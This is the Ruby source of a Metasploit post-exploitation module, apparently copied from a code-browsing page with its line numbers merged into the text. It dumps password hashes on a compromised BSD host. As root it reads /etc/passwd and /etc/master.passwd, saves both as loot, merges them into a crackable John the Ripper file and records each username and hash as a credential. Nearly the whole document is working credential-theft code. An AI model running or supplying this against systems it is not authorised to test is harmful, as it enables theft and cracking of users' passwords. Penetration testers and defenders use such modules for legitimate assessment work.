Path: blob/master/modules/post/bsd/gather/hashdump.rb
32005 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BSD Dump Password Hashes',15'Description' => %q{Post module to dump the password hashes for all users on a BSD system.},16'License' => MSF_LICENSE,17'Author' => ['bcoles'],18'Platform' => ['bsd'],19'SessionTypes' => ['shell', 'meterpreter'],20'Notes' => {21'Stability' => [CRASH_SAFE],22'SideEffects' => [],23'Reliability' => []24},25'References' => [26[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]27]28)29)30end3132def run33unless is_root?34fail_with(Failure::NoAccess, 'You must run this module as root!')35end3637passwd = read_file('/etc/passwd').to_s38unless passwd.blank?39p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')40vprint_good("passwd saved in: #{p}")41end4243master_passwd = read_file('/etc/master.passwd').to_s44unless master_passwd.blank?45p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')46vprint_good("master.passwd saved in: #{p}")47end4849# Unshadow passswords50john_file = unshadow(passwd, master_passwd)51return if john_file == ''5253john_file.each_line do |l|54hash_parts = l.split(':')55jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]5657if jtr_format.empty? # overide the default58jtr_format = 'des,bsdi,sha512,crypt'59end6061credential_data = {62jtr_format: jtr_format,63origin_type: :session,64post_reference_name: refname,65private_type: :nonreplayable_hash,66private_data: hash_parts[1],67session_id: session_db_id,68username: hash_parts[0],69workspace_id: myworkspace_id70}7172create_credential(credential_data)73print_good(l.chomp)74end7576p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')77print_good("Unshadowed Password File: #{p}")78end7980def unshadow(pf, sf)81unshadowed = ''8283sf.each_line do |sl|84pass = sl.scan(/^\w*:([^:]*)/).join8586next if pass == '*'87next if pass == '!'8889user = sl.scan(/(^\w*):/).join90pf.each_line do |pl|91next unless pl.match(/^#{user}:/)9293unshadowed << pl.gsub(/:\*:/, ":#{pass}:")94end95end9697unshadowed98end99end100101102